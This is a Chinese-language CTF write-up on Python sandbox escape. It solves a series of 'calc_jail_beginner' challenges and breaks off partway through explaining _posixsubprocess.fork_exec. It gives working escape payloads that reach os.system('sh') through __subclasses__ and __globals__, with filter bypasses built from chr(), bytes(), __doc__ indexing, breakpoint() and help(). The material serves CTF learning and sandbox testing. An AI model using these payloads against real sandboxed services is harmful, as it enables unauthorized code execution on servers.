Python沙箱逃逸

​ 在学了SSTI之后,发现Python还有一个沙箱逃逸没学,恰好这玩意又和框架啥的挨上边,为了知识的连贯性,决定做一个沙箱逃逸的学习

一些前置知识的介绍

沙箱

python沙箱逃逸,是CTF当中的一类题的统称(PYjail)

​ 为了不让恶意用户执行任意恶意的python代码,我们引用了沙箱机制,一些可能存在恶意攻击代码的语句就能在沙箱环境当中运行,沙箱内可能会禁用一些敏感函数,使得恶意代码只作用于沙箱内,而不会对我们的服务器以及其他资产造成破坏

常见的沙箱技术

  1. 模块沙箱

    如restrictedpython和PyExecJS,这些工具可以在独立的执行环境当中运行python代码,并限制访问系统资源。通常它们会提供一组允许和禁止的操作,也就是黑白名单,来控制代码的行为

    ​ 代码示例

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    from restrictedpython import compile_restricted, safe_builtins

    code = """
    result = 1 + 1
    print(result)
    """

    restricted_globals = {"__builtins__": safe_builtins}
    bytecode = compile_restricted(code, "<string>", "exec")
    exec(bytecode, restricted_globals)
  2. 容器化技术

    还有一些沙箱技术是通过容器化技术来达成的,比如我们熟悉的Docker,能够将不受信任的代码在一个独立的容器里面运行,隔离危害,使其无法访问主机系统资源

    ​ 代码示例

    1
    docker run -it --rm python:3.9 python -c "print('Hello, from inside the container!')"
  3. 专用的沙箱库

    Python当中有一些专用的沙箱库,也能够拿来运行沙箱,比如PySandbox和PyPySandbox

Python的一些特性

  • 在python中,类均继承自object基类;

  • python中类本身具有一些静态方法,如bytes.fromhexint.from_bytes等。对于这些类的实例,也能调用这些静态方法。如b'1'.fromhex('1234'),返回b'\x124'。(一个特殊的例子是整数常量不支持这样操作,如输入3.from_bytes会报错)

  • python中的类还具有一系列的魔术方法,这个特性可以对比php的魔术方法,以及C++的运算符重载等。一些函数的实现也是直接调用魔术方法的。常用的魔术方法有这些,更多可参考这里

    • __init__:构造函数。这个在实例化类的时候就会用到,一般是接受类初始化的参数,并且进行一系列初始化操作。

    • __len__:返回对象的长度。对一个对象a使用len(a)时,会尝试调用a.__len__()。这个做炼丹的同学应该很熟悉,例如要通过继承torch.utils.data.Dataset来实现自己的数据集时,就需要实现这个方法;

    • __str__:返回对象的字符串表示。对一个对象a使用str(a)时,会尝试调用a.__str__()。这在我们自己实现一些类,譬如复数、二叉树、有限域、椭圆曲线等时,通过实现该方法,能将对象的内容较好地打印出来。(print函数中也会自动调用对象的__str__方法)相似地,还有__int__魔术方法也用于类型转换,不过较少使用;

    • __getitem__:根据索引返回对象的某个元素。对一个对象a使用a[1]时,会尝试调用a.__getitem__(1)。同样,当我们通过继承torch.utils.data.Dataset来实现自己的数据集时,就需要实现这个方法。有__getitem__,自然也有对应的__setitem__

    • __add____sub____mul____div____mod__:算术运算,加减乘除模。如对一个对象a使用a+b时,会尝试调用a.__add__(b)。相应地,对于有些运算,对象需放在后面(第二个操作数)的,则需实现__radd____rsub____rmul____rdiv____rmod__,如椭圆曲线上的点的倍点运算G -> d * G,就可以通过实现__rmul__来实现。

    • __and____or____xor__:逻辑运算,和算术运算类似;

    • __eq____ne____lt____gt____le____ge__:比较运算,和算术运算类似;例如'贵州' > '广西',就会转而调用'贵州'.__gt__('广西')

    • __getattr__:对象是否含有某属性。如果我们对对象a所对应的类实现了该方法,那么在调用未实现的a.b时,就会转而调用a.__getattr__(b)。这也等价于用函数的方法调用:getattr(a, 'b')。有__getattr__,自然也有对应的__setattr__

    • __subclasses__:返回当前类的所有子类。一般是用在object类中,在object.__subclasses__()中,我们可以找到os模块中的类,然后再找到os,并且执行os.system,实现RCE。

  • 相对应地,python的类中也包含着一些魔术属性:

    • __dict__
      
      1
      2
      3
      4
      5
      6
      7
      8

      :可以查看内部所有属性名和属性值组成的字典。譬如下面这段代码:

      ```py
      class KFCCrazyThursday:
      vivo = 50

      print(KFCCrazyThursday.__dict__)

    就能看到字典中包含'vivo': 50的键值对。注意在python中,dict()是将类转成字典的函数,跟此魔术属性无关。

    • __doc__
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11

      :类的帮助文档。默认类均有帮助文档。对于自定义的类,需要我们自己实现。

      ```py
      class KFCCrazyThursday:
      '''
      And you broke up for seven years, you still can affect my mood, I still keep our photo, remember your birthday, OK? I have countless times to find your impulse, But still hold back, this message I do not block you, because I am your forever blacklist, but I love you, from the past to the present, a full love of you for eight years, But now I'm not sad, because I have no idea who wrote this or who this girl is, and I just want to tell you by the way: Today is Crazy Thursday, I want to eat KFC
      '''
      vivo = 50

      print(KFCCrazyThursday.__doc__)
      就会打印上面的文档; - `__class__`:返回当前对象所属的类。如`''.__class__`会返回`<class 'str'>`。拿到类之后,就可以通过构造函数生成新的对象,如`''.__class__(4396)`,就等价于`str(4396)`,即`'4396'`; - `__base__`:返回当前类的基类。如`str.__base__`会返回`<class 'object'>`;
  • 以及还有一些重要的内置函数和变量:

    • dir:查看对象的所有属性和方法。在我们没有思路的时候,可以通过该函数查看所有可以利用的方法;此外,在题目禁用引号以及小数点时,也可以先用拿到类所有可用方法,再索引到方法名,并且通过getattr来拿到目标方法。
    • chrord:字符与ASCII码转换函数,能帮我们绕过一些WAF
    • globals:返回所有全局变量的函数;
    • locals:返回所有局部变量的函数;
    • __import__:载入模块的函数。例如import os等价于os = __import__('os')
    • __name__:该变量指示当前运行环境位于哪个模块中。如我们python一般写的if __name__ == '__main__':,就是来判断是否是直接运行该脚本。如果是从另外的地方import的该脚本的话,那__name__就不为__main__,就不会执行之后的代码。更多参考这里
    • __builtins__:包含当前运行环境中默认的所有函数与类。如上面所介绍的所有默认函数,如strchrorddictdir等。在pyjail的沙箱中,往往__builtins__被置为None,因此我们不能利用上述的函数。所以一种思路就是我们可以先通过类的基类和子类拿到__builtins__,再__import__('os').system('sh')进行RCE;
    • __file__:该变量指示当前运行代码所在路径。如open(__file__).read()就是读取当前运行的python文件代码。需要注意的是,该变量仅在运行代码文件时会产生,在运行交互式终端时不会有此变量
    • _:该变量返回上一次运行的python语句结果。需要注意的是,该变量仅在运行交互式终端时会产生,在运行代码文件时不会有此变量

前置理论导完了,做一些题来试试手吧

做题环节

calc_jail_beginner

进入题目

image-20240604183805679

给了个附件,下载看发现是源码

image-20240604184350341

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#Your goal is to read ./flag.txt
#You can use these payload liked `__import__('os').system('cat ./flag.txt')` or `print(open('/flag.txt').read())`

WELCOME = '''
_ ______ _ _ _ _
| | | ____| (_) | | (_) |
| |__ | |__ __ _ _ _ __ _ __ ___ _ __ | | __ _ _| |
| '_ \| __| / _` | | '_ \| '_ \ / _ \ '__| _ | |/ _` | | |
| |_) | |___| (_| | | | | | | | | __/ | | |__| | (_| | | |
|_.__/|______\__, |_|_| |_|_| |_|\___|_| \____/ \__,_|_|_|
__/ |
|___/
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
print('Answer: {}'.format(eval(input_data)))

可以看到前面就给了paylod,直接用就行

image-20240604184457273

1
2
3
__import__('os').system('cat ./flag.txt')

print(open('/flag.txt').read())

image-20240604185356962

calc_jail_beginner_level1

进入题目

image-20240604185535230

附件给的源码长这个样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#the function of filter will banned some string ',",i,b
#it seems banned some payload
#Can u escape it?Good luck!

def filter(s):
not_allowed = set('"\'`ib')
return any(c in not_allowed for c in s)

WELCOME = '''
_ _ _ _ _ _ _ __
| | (_) (_) (_) | | | | /_ |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| || |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ || |
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ || |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_||_|
__/ | _/ |
|___/ |__/
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))

可以看到定义了一个filter,我们的输入不能包含双引号、单引号、反引号、字母i和字母b

1
所以,import`、`__builtins__`、`bytes这些就在这用不了了

由常规思路来进行推导

1
2
().__class__.__base__.__subclasses__()
//获取当前类——>获取当前类的基类——>返回当前类的所有子类

然后进一步是

1
2
getattr(().__class__, '__base__').__subclasses__()
//获取当前类——>获取当前类的基类——>返回当前类的所有子类——>返回子类列表

但是很可惜的是单引号双引号和字母b都被ban了

我们还可以用ASCII🐎绕过的方法尝试

1
2
chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)
//这一串的值为'_base_'

于是我们可以将这玩意替换掉我们先前带b的base

1
getattr(().__class__, chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)).__subclasses__()

但是还有一个subclasses,我们用同样的方法进行绕过

1
getattr(getattr(().__class__,chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)),chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))()

image-20240604192406689

1
2
3
4
5
6
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> getattr(getattr(().__class__,chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)),chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))()
Answer: [<class 'type'>, <class 'async_generator'>, <class 'int'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_keys'>, <class 'mappingproxy'>, <class 'dict_reverseitemiterator'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_values'>, <class 'dict'>, <class 'ellipsis'>, <class 'enumerate'>, <class 'float'>, <class 'frame'>, <class 'frozenset'>, <class 'function'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'instancemethod'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'list'>, <class 'longrange_iterator'>, <class 'member_descriptor'>, <class 'memoryview'>, <class 'method_descriptor'>, <class 'method'>, <class 'moduledef'>, <class 'module'>, <class 'odict_iterator'>, <class 'pickle.PickleBuffer'>, <class 'property'>, <class 'range_iterator'>, <class 'range'>, <class 'reversed'>, <class 'symtable entry'>, <class 'iterator'>, <class 'set_iterator'>, <class 'set'>, <class 'slice'>, <class 'staticmethod'>, <class 'stderrprinter'>, <class 'super'>, <class 'traceback'>, <class 'tuple_iterator'>, <class 'tuple'>, <class 'str_iterator'>, <class 'str'>, <class 'wrapper_descriptor'>, <class 'types.GenericAlias'>, <class 'anext_awaitable'>, <class 'async_generator_asend'>, <class 'async_generator_athrow'>, <class 'async_generator_wrapped_value'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'managedbuffer'>, <class 'method-wrapper'>, <class 'types.SimpleNamespace'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'weakref.CallableProxyType'>, <class 'weakref.ProxyType'>, <class 'weakref.ReferenceType'>, <class 'types.UnionType'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class '_contextvars.Context'>, <class '_contextvars.ContextVar'>, <class '_contextvars.Token'>, <class 'Token.MISSING'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'collections.abc.Iterable'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]

复制源码下来,ctrl+f对os进行搜索,发现<class ‘os._wrap_close’>可能可以被利用

<class ‘os._wrap_close’>是倒数第四个类,于是我们接下来的利用就是这样的

1
2
().__class__.__base__.__subclasses__()[-4].__init__.__globals__['system']('sh')
//反射进入到倒数第四个这个类,然后初始化再用gloabls函数返回对应类里的函数,接着就是进入shell交互

然后就是绕过了,仿照之前的方法进行绕过, 注意要有四个getattr,因为一共是五个魔术方法,其中这个class是不用绕过的,所以用五个

1
getattr(getattr(getattr(getattr(().__class__,chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)),chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))()[-4],chr(95)+chr(95)+chr(105)+chr(110)+chr(105)+chr(116)+chr(95)+chr(95)),chr(95)+chr(95)+chr(103)+chr(108)+chr(111)+chr(98)+chr(97)+chr(108)+chr(115)+chr(95)+chr(95))[chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)](chr(115)+chr(104))

image-20240604193049200

​ 因为eval出的结果是有回显的,也可以用之前的另一个payload改

1
open(chr(102)+chr(108)+chr(97)+chr(103)).read()

calc_jail_beginner_level2

题目给的附件源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#the length is be limited less than 13
#it seems banned some payload
#Can u escape it?Good luck!

WELCOME = '''
_ _ _ _ _ _ _ ___
| | (_) (_) (_) | | | | |__ \
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | ) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ | / /
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ |/ /_
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_|____|
__/ | _/ |
|___/ |__/
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>13:
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))

这里可以注意到,我们的payload长度被限制在了13,也就意味着我们无法用很长的编码绕过了

1
2
3
4
5
6
7
8
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>13:
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))

这里的解法和之前RCE的参数逃逸是一个原理

1
/?cmd=system($_POST[1]);&1=ls

对我们的cmd进行限制,关我们1什么事,在这题当中,我们也可以用同样的原理来达到逃逸的效果

1
eval(input())

eval是有回显的,我们在后面这个input当中就能进行rce了

完整payload如下

1
2
3
eval(input())
__builtins__.__import__('os').system('ls')//找flag
__builtins__.__import__('os').system('cat flag')//读flag

image-20240604194111205

calc_jail_beginner_level2.5

附件源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#the length is be limited less than 13
#it seems banned some payload
#banned some unintend sol
#Can u escape it?Good luck!

def filter(s):
BLACKLIST = ["exec","input","eval"]
for i in BLACKLIST:
if i in s:
print(f'{i!r} has been banned for security reasons')
exit(0)

WELCOME = '''
_ _ _ _ _ _ _ ___ _____
| | (_) (_) (_) | | | |__ \ | ____|
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | _____ _____| | ) | | |__
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | |/ _ \ \ / / _ \ | / / |___ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | __/\ V / __/ |/ /_ _ ___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_|_|\___| \_/ \___|_|____(_)____/
__/ | _/ |
|___/ |__/
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
filter(input_data)
if len(input_data)>13:
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))

有一个黑名单+长度限制,但是之前做过3了,用help()固然可行,只是有点缺少新东西

我们还可以用breakpoint()

breakpoint之后就会进入到一个叫做pdb的东西当中

pdb 模块定义了一个交互式源代码调试器,用于 Python 程序。它支持在源码行间设置(有条件的)断点和单步执行,检视堆栈帧,列出源码列表,以及在任何堆栈帧的上下文中运行任意 Python 代码。它还支持事后调试,可以在程序控制下调用。

​ 进入pdb当中就能rce了,用之前的payload就能读到flag

image-20240604200800957

calc_jail_beginner_level3

附件源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python3
WELCOME = '''
_ _ _ _ _ _ _ ____
| | (_) (_) (_) | | | | |___ \
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | __) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ ||__ <
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ |___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_|____/
__/ | _/ |
|___/ |__/
'''

print(WELCOME)
#the length is be limited less than 7
#it seems banned some payload
#Can u escape it?Good luck!
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>7:
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))

这里进一步将我们的payload长度限制到了7

官方给出的解法是help()函数进入交互界面,找到模块输入!+命令就行了

完整payload

1
2
3
4
help()
os
!ls
!cat flag

image-20240604195125612

calc_jail_beginner_level4

题目附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#No danger function,no chr,Try to hack me!!!!
#Try to read file ./flag


BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr']

eval_func = eval

for m in BANLIST:
del __builtins__.__dict__[m]

del __loader__, __builtins__

def filter(s):
not_allowed = set('"\'`')
return any(c in not_allowed for c in s)

WELCOME = '''
_ _ _ _ _ _ _ _ _
| | (_) (_) (_) | | | | | || |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _|
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_|
__/ | _/ |
|___/ |__/
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval_func(input_data)))

来看黑名单

1
BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr']

这些都比较常规,能绕一下,但是chr也ban了,这意味着没办法用chr函数和ASCII绕过了

1
2
3
def filter(s):
not_allowed = set('"\'`')
return any(c in not_allowed for c in s)

单双引号斜杠都被ban

不过之前level1的那个思路还是能得行的

1
2
().__class__.__base__.__subclasses__()
//获取当前类——>获取当前类的基类——>返回当前类的所有子类

image-20240605153904137

看到了老熟人,倒数第四个这个<class ‘os._wrap_close’>

之前我们的思路就是反射出去然后用全局变量拿shell

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__['system']('sh')

当然在这里我们的单引号双引号都被ban了,需要我们进行一下绕过

绕过的思路有两个

利用bytes

​ bytes()函数能将数字对应的ASCII码进行转换,利用这个我们可以把system和sh这部分给表示出来

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[bytes([115, 121, 115, 116, 101, 109]).decode()](bytes([115, 104]).decode())

image-20240605155032859

利用doc魔术方法

doc是类的帮助文档,一般包含了类的一些说明

我们可以用这个doc魔术方法,根据对应的索引拼出来我们的payload

image-20240605155746750

1
2
3
4
Answer: Built-in immutable sequence.

If no argument is given, the constructor returns an empty tuple.
If iterable is specified the tuple is initialized from iterable's items.
1
2
().__doc__[19]就表示了字母s
利用这个原理,我们也可以进行RCE

Payload如下

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__doc__[19]+().__doc__[86]+().__doc__[19]+().__doc__[4]+().__doc__[17]+().__doc__[10]](().__doc__[19]+().__doc__[56])

还有一种直接读flag的,如果知道文件名就可以试试看

1
open('flag').read()//不能直接用,要用上面的方法编码才行

image-20240605160232255

calc_jail_beginner_level4.0.5

这一题不给附件源码

image-20240605160532664

这种情况,用几个以前的payload探探就老实了

用level4的payload,也就是bytes的ASCII list绕过

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[bytes([115, 121, 115, 116, 101, 109]).decode()](bytes([115, 104]).decode())

image-20240605160715925

马上出了,但是出于学习的目的,咱都拿到shell了,拖个源码看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#No danger function,no chr,Try to hack me!!!!
#Try to read file ./flag


BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr', 'input','locals','globals']

my_eval_func_0002321 = eval
my_input_func_2309121 = input

for m in BANLIST:
del __builtins__.__dict__[m]

del __loader__, __builtins__

def filter(s):
not_allowed = set('"\'`')
return any(c in not_allowed for c in s)

WELCOME = '''
_ _ _ _ _ _ _ _ _ ___ _____
| | (_) (_) (_) | | | | | || | / _ \ | ____|
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_| | | || |__
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _| | | ||___ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |_| |_| | ___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_(_)\___(_)____/
__/ | _/ |
|___/ |__/
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
print("Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals and `,\",' Good luck!")
input_data = my_input_func_2309121("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(my_eval_func_0002321(input_data)))

​ 可以看到这里是对local和global进行了过滤,不过按这个循序渐进的风格来看,应该是用level4相同的思路进行绕过,拿到global和local,还行

calc_jail_beginner_level4.1

这题也没给源码

image-20240605161513654

但是可以看到很干脆,给了ban掉的东西

bytes用不了了,但是之前那个doc还是能用的

image-20240605182621026

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__doc__[19]+().__doc__[86]+().__doc__[19]+().__doc__[4]+().__doc__[17]+().__doc__[10]](().__doc__[19]+().__doc__[56])

image-20240605182841509

当然,还有一种是之前bytes延伸出来的解法

利用Show subclasses with tuple找到bytes

1
().__class__.__base__.__subclasses__()

image-20240605183049158

一顿好找之后,发现bytes类在第六位,用之前的索引的方法进行绕过

1
2
3
4
5
6
原payload:
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[bytes([115, 121, 115, 116, 101, 109]).decode()](bytes([115, 104]).decode())

最终payload:
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())
//这里我们用subclasses的第六位索引进行了bytes的替换

calc_jail_beginer_level4.2

image-20240605183446140

可以看到连加号都ban了,这样一来就没办法直接套用之前那个doc的方法了,但是这个加号是有能替换的

用join的方法,拼出四位数

1
''.join(['4', '3', '9', '6'])

此处前面的’’两个单引号需要绕过,可以用str()来代替

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[str().join([().__doc__[19],().__doc__[86],().__doc__[19],().__doc__[4],().__doc__[17],().__doc__[10]])](str().join([().__doc__[19],().__doc__[56]]))

image-20240605183949779

还有一种就是上一题的bytes被ban的情况,这里只多ban了个加号,应该是考字符串拼接绕过的,无伤大雅

calc_jail_beginner_level4.3

image-20240605185315712

多ban了type和open,限制我们无法直接open,但是之前的两种payload还是能用的,所以直接打就好了

image-20240605185453837

包得吃的

calc_jail_beginner_level5

我超,这下啥都不给了

image-20240605185642215

就给了一个dir()的提示

image-20240605185726018

照着提示输入dir(),有俩文件,还有一个builtins,这是在提醒我这个玩意能被我用吗

发现eval(input())这个手法并没有失效

image-20240605190140153

直接拿shell

1
__import__('os').system('sh')

image-20240605190359487

我也是小试牛刀了一回

calc_jail_beginner_level5.1

image-20240605190540016

和level5一样啊,看看dir()能不能出一些好的提示

image-20240605190603572

怎么好像又能用了

image-20240605190645950

把我的eval给干掉了,试试看别的方法吧

发现help()也不行啊,看来是ban了之前短payload那一连串了,看看doc

image-20240605190900992

可以看到doc是得行的啊,把之前的payload拉下来用

image-20240605191000465

但是照搬是不得行滴,看来需要另外搓一搓

​ 看了大佬的题解,发现思路跑偏了,其实不用doc,用之前那个就能打,只不过我粗心没深入看那个builtins,看看里面能被利用的东西吧

image-20240605191319697

open被干掉了,上常规思路吧

Show subclasses with tuple

1
().__class__.__base__.__subclasses__()

image-20240605191413930

老流程,找到第六个os,getshell

1
().__class__.__base__.__subclasses__()[-6].__init__.__globals__['system']('sh')

*calc_jail_beginner_level6

进入题目,真是大不一样啊

image-20240605211030100

几乎所有的hook都被ban了,留了些残羹剩饭给我

1
builtins.input,builtins.input/result,exec,compile

这里引进一个新奇小玩意

_posixsubprocess 模块

这是Python的一个内部模块,具体作用就是提供一个在UNIX平台上创建子进程的低级别接口。我们熟悉的subprocess模块的实现就用到了这个

​ 这个模块的核心功能就是fork_exec函数,fork_exec又提供了一个相当底层的方法来创建子进程,并且在这个新的进程中可以执行一个指定的程序。值得一提的是这个模块并不会在python的标准库文档里面被列出,当然每个版本的python都会有差异

​ 以一个python3.11的具体函数声明作为实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
def fork_exec(
__process_args: Sequence[StrOrBytesPath] | None,
#传递给新进程的命令行参数,通常是程序路径及其参数列表
__executable_list: Sequence[bytes],
#可执行程序路径的列表
__close_fds: bool,
#若设置为True,则在新进程当中关闭所有的文件描述符
__fds_to_keep: tuple[int, ...],
#新进程的工作目录
__cwd_obj: str,
#新进程的工作目录
__env_list: Sequence[bytes] | None,
#环境变量列表,是键和值的序列,比如:["PATH=/usr/bin", "HOME=/home/user"]

__p2cread: int,
__p2cwrite: int,
__c2pred: int,
__c2pwrite: int,
__errread: int,
__errwrite: int,
#这些是文件描述符,用于在父子进程之间进行通信

__errpipe_read: int,
__errpipe_write: int,
#这两个文件描述符用于父子进程之间的错误通信

__restore_signals: int,
#若设置为,则在新建的子进程当中恢复默认的信号处理
__call_setsid: int,
#若设置为,则会在新进程当中创建新的会话
__pgid_to_set: int,
#设置新进程的进程组ID

__gid_object: SupportsIndex | None,
__groups_list: list[int] | None,
__uid_object: SupportsIndex | None,
#这些参数用于设置新进程的用户ID以及组ID
__child_umask: int,
#设置新进程的umask
__preexec_fn: Callable[[], None],
#在新进程当中执行的函数,会在新进程的主体部分执行前调用
__allow_vfork: bool,
